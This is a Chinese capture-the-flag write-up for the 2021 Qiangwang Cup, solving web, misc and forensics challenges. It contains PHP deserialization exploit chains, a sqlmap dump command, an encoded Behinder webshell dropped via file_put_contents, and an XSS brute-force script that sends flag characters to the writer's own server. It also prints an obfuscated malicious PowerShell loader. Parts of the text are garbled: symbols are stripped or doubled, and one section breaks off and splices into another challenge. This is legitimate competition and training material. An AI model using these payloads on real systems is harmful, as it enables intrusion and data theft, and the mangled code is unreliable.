第五届强网杯全国网络安全挑战赛writeup-飞外

Web1.[强网先锋]寻宝

下发赛题,访问链接如下:


该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。

Key1之代码审计

点击“信息1”,发现是代码审计:

完整源码如下:

?php

header('Content-type:text/html;charset=utf-8');

error_reporting(0);

highlight_file(__file__);


function filter($$string){

$$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$$','\(','\.','num','html','\/','\,','\'','0000000');

$$filter_phrase= '/'.implode('|',$$filter_word).'/';

return preg_replace($$filter_phrase,'',$$string);

}


if($$ppp){

unset($$ppp);

}

$$ppp['number1'] = "1";

$$ppp['number2'] = "1";

$$ppp['nunber3'] = "1";

$$ppp['number4'] = '1';

$$ppp['number5'] = '1';


extract($$_POST);


$$num1 = filter($$ppp['number1']);

$$num2 = filter($$ppp['number2']);

$$num3 = filter($$ppp['number3']);

$$num4 = filter($$ppp['number4']);

$$num5 = filter($$ppp['number5']);


if(isset($$num1) is_numeric($$num1)){

die("非数字");

}


else{

if($$num1 1024){

echo "面上提交获取 flag:

2.[强网先锋]赌徒下发赛题,访问地址如下:
结合题目源码提醒,利用 dirsearch 扫描目录,发现 www.zip: 3、解压缩获得题目源码: meta charset="utf-8" ?php//hint is in hint.phperror_reporting(1);
class Start{ public $$name='guest'; public $$flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){ echo "I think you need /etc/hint . Before this you need to see the source code"; }
public function _sayhello(){ echo $$this- name; return 'ok'; }
public function __wakeup(){ echo "hi"; $$this- _sayhello(); } public function __get($$cc){ echo "give you flag : ".$$this- flag; return }}
class Info{ private $$phonenumber=123123; public $$promise='I do'; public function __construct(){ $$this- promise='I will not !!!!'; return $$this- promise; }
public function __toString(){ return $$this- file['filename']- ffiillee['ffiilleennaammee']; }}
class Room{ public $$filename='/flag'; public $$sth_to_set; public $$a=''; public function __get($$name){ $$function = $$this- return $$function(); } public function Get_hint($$file){ $$hint=base64_encode(file_get_contents($$file)); echo $$hint; return }
public function __invoke(){ $$content = $$this- Get_hint($$this- filename); echo $$content; }}
if(isset($$_GET['hello'])){ unserialize($$_GET['hello']);}else{ $$hi = new Start();}? 看到这里猜测是 PHP 反序列化的题目,但是先前了解的相关题目都只是涉及析构函数的利用点,本题看得一脸懵圈,所以立马恶补下 CTF 中关于 PHP 反序列化的套路。PHP的魔术方法PHP 中魔术方法的定义是把以两个下划线__开头的方法称为魔术方法,常见的如下:__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。__toString: 当对象被当做一个字符串使用时调用。__sleep: 序列化对象之前就调用此方法(其返回需要一个数组)__wakeup: 反序列化恢复对象之前调用该方法__call: 当调用对象中不存在的方法会自动调用该方法。__get: 从不可访问的属性中读取数据会触发__isset(): 在不可访问的属性上调用isset()或empty()触发__unset(): 在不可访问的属性上使用unset()时触发__invoke(): 将对象调用为函数时触发更多请查看PHP手册:https://www.php.net/manual/zh/language.oop5.magic.php简单例子 ?phpclass A{ var $$test = "demo"; function __wakeup(){ eval($$this- test); }}$$a = $$_GET['test'];$$a_unser = unserialize($$a);? 分析:这里只有一个A类,只有一个__wakeup()方法,并且一旦反序列化会走魔法方法__wakeup并且执行 test 变量的命令,那我们构造如下 EXP 执行 phpinfo() 函数: ?phpclass A{ var $$test = "demo"; function __wakeup(){ echo $$this- test; }}$$a = $$_GET['test'];$$a_unser = unserialize($$a);
$$b = new A();$$b- test="phpinfo();";$$c = serialize($$b);echo $$c;? 输出:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}提交输出的 Payload,执行效果如下:
POP链实例进一步来看一道进阶题目: ?php//flag is in flag.phperror_reporting(1);class Read { public $$var; public function file_get($$value) { $$text = base64_encode(file_get_contents($$value)); return $$text; } public function __invoke(){ $$content = $$this- file_get($$this- var); echo $$content; }}
class Show{ public $$source; public $$str; public function __construct($$file='index.php') { $$this- source = $$file; echo $$this- source.'Welcome'." br } public function __toString() { return $$this- str['str']- source; }
public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$$this- source)) { die('hacker'); } else { highlight_file($$this- source); } }
public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $$this- source)) { echo "hacker"; $$this- source = "index.php"; } }}
class Test{ public $$p; public function __construct() { $$this- p = array(); }
public function __get($$key) { $$function = $$this- return $$function(); }}
if(isset($$_GET['hello'])){ unserialize($$_GET['hello']);}else{ $$show = new Show('pop3.php'); $$show- _show();}【题目分析】对于此题可以看到我们的目的是通过构造反序列化读取 flag.php 文件,Read 类有file_get_contents()函数,Show 类有highlight_file()函数可以读取文件。接下来寻找目标点可以看到在最后几行有 unserialize 函数存在,该函数的执行同时会触发__wakeup魔术方法,而__wakeup魔术方法可以看到在 Show 类中。1、__wakeup方法:public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $$this- source)) { echo "hacker"; $$this- source = "index.php"; }}存在一个正则匹配函数 preg_match(),该函数面:

3、简单测试发现是未过滤的 SQL 注入:

4、直接上 Sqlmap(sqlmap.py -r 123.txt --dbms MySQL -p "username" -D easyweb -T employee -C "username,password" --dump,不知为何,此题发现必须加上--dbms MySQL -p "username"参数才能正常跑 sqlmap),获得账户密码,尴尬的是一开始以为密码得解密后才能登录,后来队友说直接输入就行……

5、登陆后围绕系统标题栏 EasySSRF 的提示,一通搜索企图利用 SSRF 读取本地 flag 文件,无果……


上传木马并提权

1、尝试 SSRF 无果,无奈继续信息搜集,扫描路径,发现 file 路径可上传文件:

2、尝试上传 php 一句话木马,被拦截了,Fuzz 了一下发现是后缀+内容过滤,不能传 jpg 这些,猜测用.htaccess上传漏洞,发现也存在过滤:


3、此处过滤了 application,用 php5-script 绕过即可:

4、随后上传木马文件,传马发现 php 不能闭合,并且过滤了一些危险函数,fuzz 一下得到:

5、成功连接木马:

6、然而发现 flag 文件无法读取……权限不足,读取 hint 文件获得提示:

7、提示信息要求继续进行信息收集,接下来的操作比赛时我没搞懂,故盗用别人的解题过程……使用命令netstat –apn查看服务器所有的进程和端口使用情况,留意到 8006 端口为 JBoss 服务:

在终端使用 curl 命令请求访问 8006 端口的服务页面:

8、访问 1.qwer 木马文件,写入冰蝎马(方便利用冰蝎做内网穿透,将靶机内网服务映射到本地):

/1.qwer?1=file_put_contents('b.php',base64_decode('PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K%2Bl5a%2BG6ZKl5Li66L%2Be5o6l5a%2BG56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je%2B8jOm7mOiupOi%2FnuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8%2BCg%3D%3D'));

9、接着使用冰蝎客户端的“内网穿透”建立 HTTP 隧道,将靶机的 8006 端口映射到物理机的 2222 端口:


随后本地物理机浏览器即可访问 2222 端口,为 JBoss 默认页面:

10、最后使用 JexBoss 脚本一把梭https://github.com/SpartansHackTeam/Jexboss,获得 Shell 为 root 权限,即可查看 flag 如下:

本题最后补充两个知识点:

冰蝎 3.0 内网穿透(代理)功能详解:冰蝎v3.0操作使用手册 ;

JexBoss 脚本工具的使用:JBoss未授权访问漏洞Getshell过程复现。

5.EasyXSS

The BOT starts every five seconds and handles only one reported URL at a time. The BOT is Google-Chrome 91.0.4472.77 (Official Build) (64-bit)

Notice: the address requested by the BOT ishttp://localhost:8888.

Each time the BOT processes a request, it clears subsequent report URLs from the database

每 15 分钟重启环境

47.104.192.54:8888
47.104.210.56:8888
47.104.155.242:8888

Hint: flag格式是flag{uuid}

算是个XS-Leaks的题目,算是侧信道的一种吧。

通过/hint路由可以知道 flag 判断逻辑。

app.all("/flag", auth, async (req, res, next) = { if (req.session.isadmin typeof req.query.var === "string") { fs.readFile("/flag", "utf8", (err, flag) = { let flagArray = flag.split(""); let dataArray = req.query.var.split(""); let check = true; for (let i = 0; i dataArray.length i flagArray.length; i++) { if (dataArray[i] !== flagArray[i]) { check = false; break; if (check) { res.status(200).send(req.query.var); } else { res.status(500).send("Keyword Error!"); } else { res.status(500).send("Sorry, you are not admin!");

/flag路由对输入的逐个字符与 flag 的这么多个(输入的)长度的字符进行比较,如果每一位都相同则返回 200,否则返回 500.

访问/about?theme=xxxxx发现存在 XSS。不过过滤了一些东西,比如 空格可以用%09绕过之类。

根据提示 flag 是个 UUID,于是可以按照这个格式逐位爆破,通过返回的状态来判断当前字符是否正确。

访问/about?theme=xxxxx发现存在 XSS。不过过滤了一些东西,比如 空格可以用%09绕过之类。

于是就在 VPS 上跑个脚本,分成功和失败两个路由,让 bot 访问自己的/flag路由。

如果成功返回则调用 Ajax 去请求 VPS 上的 success 路由,否则请求 error 路由,并通过参数返回当前爆破的 flag。

exp:

from flask import Flaskfrom flask import requestimport requestsimport urllib.parseapp = Flask(__name__)@app.route("/success")def index(): global cookies global url data = request.args.get('a') if len(data) == 13 or len(data) == 18 or len(data) == 23 or len(data) == 28: data += "-0" else: data += "0" p = '''";t="''' + data +'''",$$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//''' p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p) d = { "url": p requests.post(url, data=d, cookies=cookies) return "Hello World!"@app.route("/error")def index2(): global cookies global url data = request.args.get('a') tmp = data[:-1] if data[-1] == "9": tmp += "a" else: tmp += chr(ord(data[-1]) + 1) data = tmp p = '''";t="''' + data +'''",$$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//''' p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p) d = { "url": p requests.post(url, data=d, cookies=cookies) return "Hello World!"cookies = {"session":"s%3ASuDwPHFP03I6VDRGiad8Zzst0owLeQY_.MjxB%2BTBwTgesKkEE9dIR95EoJPMuNNh%2BOZFw6ajDMm0"}# url = "http://47.104.210.56:8888/report"url = "http://47.104.192.54:8888/report"app.run(host='0.0.0.0', port=80)

让 bot 从0开始访问,虽然容器固定时间重启,但是 flag 是静态的 uuid,所以就是时间问题了。

最后根据 VPS 上的访问记录就能得到 flag 了。

6.Hard_PenetrationShiro反序列化1、访问解题链接发现是个登录页面,输入任意账户密码抓包发现 remenberme 响应头参数:2、Xray 神器一扫果然有 Shiro 反序列化漏洞:3、用 shiro_attack 工具进行漏洞利用,写冰蝎内存马,多写几次,失败没事然后打开冰蝎直接连接即可:4、查看根目录发现 flag 权限是 www-data 无法读取:
CMS源码审计1、拿到 shell 但是权限不足,进一步进行信息收集,执行命令 ps (用于显示当前进程的状态,类似于 windows 的任务管理器)发现有 Apache 服务:2、读取 Apache 的 ports 配置文件得到端口:3、使用冰蝎将端口映射出来:4、本地物理机浏览器访问映射出来的内网服务,发现 CMS 关键字:5、Github 对应 CMS 系统的源码 BaoCms,然后审计发现包含了模板,但是它在后缀硬加上了 .html:6、最后利用 CMS 系统的文件包含漏洞读取 flag 文件:7.pop_master



该题需要构造反序列化利用链 最终实现RCE
由于该题目类数量巨大1W个 编写自动化脚本构造pop链

第一步将class.php.txt转化成AST(抽象语法树) 保存为json格式
?php
ini_set(“memory_limit”,”-1”);
echo(json_encode(ast\parse_file(“class.php”, $$version=70)));
构造比较简单A- B- C- …….- 包含EVAL()的class function

调用这里有几个坑 1.调用途中有参数污染(附加垃圾数据) 2.调用途中传参可能被清空 (传参被赋值未定义的变量)3.调用途中传参可能被修改 (直接赋值为垃圾数据)
所以并不是找到调用链就可以完成工作 而是需要找到可以利用的调用链

自动化代码:
PS:没有什么参考价值 只对该题可用 因为固定3种函数结构所以偷懒把参数写死了 初学py语言 第一次做AST树解析用这种笨方法)

## -*- coding: utf-8 -*-
import json
import random
import os
import string
with open("12.json") as f:
line=f.readline()
result=json.loads(line)
print(len(result['children']))
def asb(name,s,s1=''):
ee = 0
for a in result['children']:
for b in a['children']['stmts']['children']:
if 'name' in b['children'].keys():
if (b['children']['name'] == 'gG1T5D'):
ee = 0
#ee=1
if (b['children']['name'] == name):
test(a)
if(len(b['children']['stmts']['children'])==3):
q = b['children']['stmts']['children'][1]['children'][0]['children']['cond']['children']['args']['children'][1]
w = b['children']['stmts']['children'][random.randint(1,2)]['children'][0]['children']['cond']['children']['args']['children'][1]#随机分支 玄学构造
#print(s + q)
#print(s + w)
ran_str = ''.join(random.sample(string.ascii_letters, 8))
print('$$'+ran_str+'=new '+a['children']['name']+'();')
s11='$$' + ran_str + '- ' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='
#if s1!='':

# asb(w, s +w+'-- ')
# asb(q, s +q+'-- ')
if ee!=1:
asb(w,s,s11)# 分支函数1
#asb(q, s, s11)# 分支函数2
if ran_str == '':
exit()
print(s1 + '$$' + ran_str+';')


#asb(q, s +q+'-- ')

else:
if 'method' in b['children']['stmts']['children'][1]['children'].keys():# 没有分支
q = b['children']['stmts']['children'][1]['children']['method']
ran_str = ''.join(random.sample(string.ascii_letters, 8))
print('$$' + ran_str + '=new ' + a['children']['name'] + '();')
s11 = '$$' + ran_str + '- ' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='
#print(s + q)
if ee != 1:
asb(q, s, s11)
if ran_str == '':
exit()
print(s1 + '$$' + ran_str + ';')


def test(d):
#if name in {'Name','COiLxB'}:
#print('nono')
#exit()
try:
a=d['children']['stmts']['children'][1]['children']['params']['children'][0]['children']['name']
b=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['var']['children']['name']
c=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['expr']['children']['name']
if(a==b and b!=c and a!='DgiNa'): #判断赋值是否是用不存在的变量覆盖传参

print(a,b,c)
print('no')
asb('YYdqkf', 'YYdqkf' + '-- ')#重新搜索
os._exit(0)

except:
pass
asb('YYdqkf','YYdqkf'+'-- ')
编写脚本处理AST

随机抽取一条构造链 检验是否正常执行(传参修改检测) 反复抽取得到可用的链


ps:例图输出与下面代码无关 找不到成功的图了

?php
此处省略3M大小的源class
$$a=new WK4tcG();
$$prXsQMfO=new WK4tcG();
$$DLcTtAga=new xaeGnG();
$$lcbgRpGI=new oAMzcx();
$$IatldcbW=new p38LCI();
$$nULgbaKw=new GbfW4c();
$$ASyQaYMV=new m2s3zO();
$$GMwztlCS=new PgSSqR();
$$MegPsOnX=new RLuIRL();
$$neJOwgfu=new WykBAC();
$$PNHChDce=new g6hgDh();
$$BzceWjKp=new HDaeRV();
$$YThMXwcb=new bREm3w();
$$xWVjhwmO=new D0aZh5();
$$BIbCvgZD=new T9NX4U();
$$prvhXPMW=new eWciOL();
$$NVHbgdzD=new TqWDlm();
$$mszgihWC=new XoFA87();
$$vDBkPwqO=new MU1ai5();
$$ZYHhsIid=new eHtdBF();
$$ZYHhsIid- V7XKdgi=new DNUWgV();
$$vDBkPwqO- zXEmp6T=$$ZYHhsIid;
$$mszgihWC- z35pfqP=$$vDBkPwqO;
$$NVHbgdzD- KGgGFnb=$$mszgihWC;
$$prvhXPMW- D6qeYVK=$$NVHbgdzD;
$$BIbCvgZD- UwQCEH2=$$prvhXPMW;
$$xWVjhwmO- ST8sCZq=$$BIbCvgZD;
$$YThMXwcb- pMgtiwK=$$xWVjhwmO;
$$BzceWjKp- OO72gIu=$$YThMXwcb;
$$PNHChDce- GYBlHLq=$$BzceWjKp;
$$neJOwgfu- yWYNYcP=$$PNHChDce;
$$MegPsOnX- dFy0Irz=$$neJOwgfu;
$$GMwztlCS- Cs99EPC=$$MegPsOnX;
$$ASyQaYMV- QidIkAq=$$GMwztlCS;
$$nULgbaKw- gE4DrP9=$$ASyQaYMV;
$$IatldcbW- OksedLV=$$nULgbaKw;
$$lcbgRpGI- SUxaKsh=$$IatldcbW;
$$DLcTtAga- u3832FP=$$lcbgRpGI;
$$a- fBuH5Og=$$DLcTtAga;
//$$a = $$_GET['pop'];
$$b = $$_GET['argv'];
echo serialize($$a);
//$$a = unserialize($$a);
//var_dump($$a);
$$a- YYdqkf($$b);
?

生成序列化文本
?pop=O:6:%22WK4tcG%22:1:{s:7:%22fBuH5Og%22;O:6:%22xaeGnG%22:1:{s:7:%22u3832FP%22;O:6:%22oAMzcx%22:1:{s:7:%22SUxaKsh%22;O:6:%22p38LCI%22:1:{s:7:%22OksedLV%22;O:6:%22GbfW4c%22:1:{s:7:%22gE4DrP9%22;O:6:%22m2s3zO%22:1:{s:7:%22QidIkAq%22;O:6:%22PgSSqR%22:1:{s:7:%22Cs99EPC%22;O:6:%22RLuIRL%22:1:{s:7:%22dFy0Irz%22;O:6:%22WykBAC%22:1:{s:7:%22yWYNYcP%22;O:6:%22g6hgDh%22:1:{s:7:%22GYBlHLq%22;O:6:%22HDaeRV%22:1:{s:7:%22OO72gIu%22;O:6:%22bREm3w%22:1:{s:7:%22pMgtiwK%22;O:6:%22D0aZh5%22:1:{s:7:%22ST8sCZq%22;O:6:%22T9NX4U%22:1:{s:7:%22UwQCEH2%22;O:6:%22eWciOL%22:1:{s:7:%22D6qeYVK%22;O:6:%22TqWDlm%22:1:{s:7:%22KGgGFnb%22;O:6:%22XoFA87%22:1:{s:7:%22z35pfqP%22;O:6:%22MU1ai5%22:1:{s:7:%22zXEmp6T%22;O:6:%22eHtdBF%22:1:{s:7:%22V7XKdgi%22;O:6:%22DNUWgV%22:1:{s:7:%22bieiHE3%22;N;}}}}}}}}}}}}}}}}}}}} argv=system(%27cat%20/flag%27);//
访问即可getflag

Misc1.签到

flag{welcome_to_qwb_s5}

2.BlueTeaming

Powershell scripts were executed by malicious programs. What is the registry key that contained the power shellscript content?(本题flag为非正式形式)

附件提取码(GAME)备用

压缩包解压密码:fantasicqwb2021

首先使用 volatility 将内存中的 register hive 导出来.

volatility -f memory.dmp --profile Win7SP1x64 hivelistvolatility -f memory.dmp --profile Win7SP1x64 dumpregistry -D .

题目中说到可能和 powershell 恶意程序有关系,那么优先考虑 SOFTWARE 专用的字符串,使用 WRR.exe 工具检查注册表,然后全局搜索一些常见的恶意软件字段,比如 -IEX, encode decompress new-object 等等,最终能够找到恶意软件存放的注册表位置

搜到一个路径是CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication

恶意脚本是

 ( $$veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()

flag是HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication

3.CipherMan

The attacker maliciously accessed the user’s PC and encrypted specific volumes. How to decrypt the volume?(本题flag为非正式形式)

附件提取码(GAME)备用

压缩包解压密码:fantasicqwb2021

volatility -f memory imageinfo

volatility -f memory --profile=Win7SP1x86_23418 filescan | grep 'txt'

volatility -f memory --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007e02af80 -D ./

BitLocker 드라이브 암호화 복구 키 복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.복구 키 ID: 168F1291-82C1-4B전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9EDBitLocker 복구 키:221628-533357-667392-449185-516428-718443-190674-375100BitLocker驱动器加密恢复键恢复密钥用于在被保护为BitLocker的驱动器中搜索数据。如果您想确认此密钥是否正确,请比较恢复屏幕上显示的和ID。恢复密钥ID:168F1291-82C1-4B整体恢复密钥ID:168F1291-82C1-4BF2-B634-9CCCEC63E9EDBitLocker恢复键:221628-533357-667392-449185-516428-718443-190674-375100

DiskGenius 解密

Wow,you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.

找了半天最后发现这个内容就是 flag。。

赛后发现是原题

Digital Forensic Challenge 2018 VOI200 문제 풀이

4.ExtremelySlow

附件提取码(GAME)备用

压缩包解压密码:fantasicqwb2021

首先是一个流量包,里面全是 TCP 和 HTTP 流量。而且是 206 分段传输,每个包传 1byte。

于是先导出为 JSON,然后写个脚本提取其中的每个 byte,最后合并得到一个二进制文件。

wireshark 直接导出的 JSON 里http.response.line包含多个,如果直接用json.loads只保留最后一个了,所以先要去掉无关的内容。

import jsonimport rewith open('http.json', 'r', encoding='utf-8') as fin: s = fin.read()re_num = re.compile( r'\"http\.response\.line\": \"content-range: bytes (\d+)-\d+/1987\\r\\n\"')re_nonnum = re.compile( r'(\"http\.response\.line\": (?!\"content-range: bytes (\d+)-\d+/1987\\r\\n\",).*)')s1 = re.sub(re_nonnum, '', s)with open('http_sub.json', 'w', encoding='utf-8') as fout: fout.write(s1)http = json.loads(s1)total = [b''] * 1987# total = [''] * 1987idx_list = []for x in http: source = x['_source'] layers = source['layers'] # get data data = layers['data']['data.data'] data = bytes([int(data, 16)]) # find index n = layers['http']['http.response.line'] idx = int(re.search(r'(\d+)-\d+/1987', n)[1]) idx_list.append(idx) total[idx] = dataprint(total)t = b''.join(total)# t = ''.join(total)# print(len(t)/2)with open('decode.pyc', 'wb') as f: f.write(t)# with open('decode1.pyc', 'w') as f:# f.write(t)

或者直接命令行用 tshark 更快,不过当时就没想到这么写喵呜呜呜。

按 index 把这个合并就行,bash 脚本类似这样

tshark -r ExtremelySlow.pcapng -T fields -e data -Y "http.response.line == \"content-range: bytes $$idx-$$idx/1987\x0d\x0a\"" 2 /dev/null

根据文件内容得知是个 pyc 文件。

但是直接拿在线工具或者 uncompyle6 反编译都不成,发现 magic number 有误。

参考

Python’s magic numbers

Python Uncompyle6 反编译工具使用 与 Magic Number 详解

https://github.com/google/pytype/blob/master/pytype/pyc/magic.py

Understanding Python Bytecode

可以发现文件头的这个 magic number 是随版本号递增的,而且比最新的 3.9.5 跨了一大截。

于是考虑拉个 py3.10 的镜像下来。

docker run --rm -it python:3.10.0b2

根据 magic number 确定就是最新的 Python 3.10.0b2

但还是需要反编译这个pyc

uncompyle6https://pypi.org/project/uncompyle6/目前只支持 python 2.4-3.8

https://github.com/rocky/python-decompile3不行

dis 可

 import marshal, dis with open('decode.pyc','rb') as f:... metadata = f.read(16)... code_obj = marshal.load(f) dis.dis(code_obj) 4 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (None) 4 IMPORT_NAME 0 (sys) 6 STORE_NAME 0 (sys) 6 8 LOAD_CONST 0 (0) 10 LOAD_CONST 2 (('sha256',)) 12 IMPORT_NAME 1 (hashlib) 14 IMPORT_FROM 2 (sha256) 16 STORE_NAME 2 (sha256) 18 POP_TOP 16 20 LOAD_CONST 3 ( code object KSA at 0x7f1199dc7890, file "main.py", line 6 ) 22 LOAD_CONST 4 ('KSA') 24 MAKE_FUNCTION 0 26 STORE_NAME 3 (KSA) 26 28 LOAD_CONST 5 ( code object PRGA at 0x7f1199dc7940, file "main.py", line 16 ) 30 LOAD_CONST 6 ('PRGA') 32 MAKE_FUNCTION 0 34 STORE_NAME 4 (PRGA) 30 36 LOAD_CONST 7 ( code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26 ) 38 LOAD_CONST 8 ('RC4') 40 MAKE_FUNCTION 0 42 STORE_NAME 5 (RC4) 33 44 LOAD_CONST 9 ( code object xor at 0x7f1199dd4500, file "main.py", line 30 ) 46 LOAD_CONST 10 ('xor') 48 MAKE_FUNCTION 0 50 STORE_NAME 6 (xor) 34 52 LOAD_NAME 7 (__name__) 54 LOAD_CONST 11 ('__main__') 56 COMPARE_OP 2 (==) 58 POP_JUMP_IF_FALSE 139 (to 278) 35 60 LOAD_CONST 12 (b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3 \x151\x19\n\x8f') 62 STORE_NAME 8 (w) 38 64 LOAD_CONST 13 (b'$$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~') 66 STORE_NAME 9 (e) 39 68 LOAD_CONST 14 (b'geo') 70 STORE_NAME 10 (b) 41 72 LOAD_CONST 15 (b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141') 74 STORE_NAME 11 (s) 42 76 LOAD_CONST 16 (b"Q_\xe2\xf8\x8c\x11M}' @\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1") 78 STORE_NAME 12 (t) 43 80 LOAD_CONST 17 (115) 82 LOAD_CONST 18 (97) 84 LOAD_CONST 19 (117) 86 LOAD_CONST 20 (114) 88 LOAD_CONST 21 ((2, 8, 11, 10)) 90 BUILD_CONST_KEY_MAP 4 92 STORE_NAME 13 (m) 44 94 LOAD_CONST 22 (119) 96 LOAD_CONST 23 (116) 98 LOAD_CONST 24 (124) 100 LOAD_CONST 25 (127) 102 LOAD_CONST 26 ((3, 7, 9, 12)) 104 BUILD_CONST_KEY_MAP 4 106 STORE_NAME 14 (n) 45 108 LOAD_NAME 13 (m) 110 LOAD_CONST 27 ( code object dictcomp at 0x7f1199dd4c90, file "main.py", line 44 ) 112 LOAD_CONST 28 (' dictcomp ') 114 MAKE_FUNCTION 0 116 LOAD_NAME 14 (n) 118 GET_ITER 120 CALL_FUNCTION 1 122 INPLACE_OR 124 STORE_NAME 13 (m) 47 126 LOAD_NAME 13 (m) 128 LOAD_CONST 29 ( code object genexpr at 0x7f1199dd5b00, file "main.py", line 45 ) 130 LOAD_CONST 30 (' genexpr ') 132 MAKE_FUNCTION 0 134 LOAD_NAME 10 (b) 136 GET_ITER 138 CALL_FUNCTION 1 140 INPLACE_OR 142 STORE_NAME 13 (m) 48 144 LOAD_NAME 5 (RC4) 146 LOAD_NAME 15 (list) 148 LOAD_NAME 16 (map) 150 LOAD_CONST 31 ( code object lambda at 0x7f1199a42d90, file "main.py", line 47 ) 152 LOAD_CONST 32 (' lambda ') 154 MAKE_FUNCTION 0 156 LOAD_NAME 17 (sorted) 158 LOAD_NAME 13 (m) 160 LOAD_METHOD 18 (items) 162 CALL_METHOD 0 164 CALL_FUNCTION 1 166 CALL_FUNCTION 2 168 CALL_FUNCTION 1 170 CALL_FUNCTION 1 172 STORE_NAME 19 (stream) 49 174 LOAD_NAME 20 (print) 176 LOAD_NAME 6 (xor) 178 LOAD_NAME 8 (w) 180 LOAD_NAME 19 (stream) 182 CALL_FUNCTION 2 184 LOAD_METHOD 21 (decode) 186 CALL_METHOD 0 188 CALL_FUNCTION 1 190 POP_TOP 50 192 LOAD_NAME 0 (sys) 194 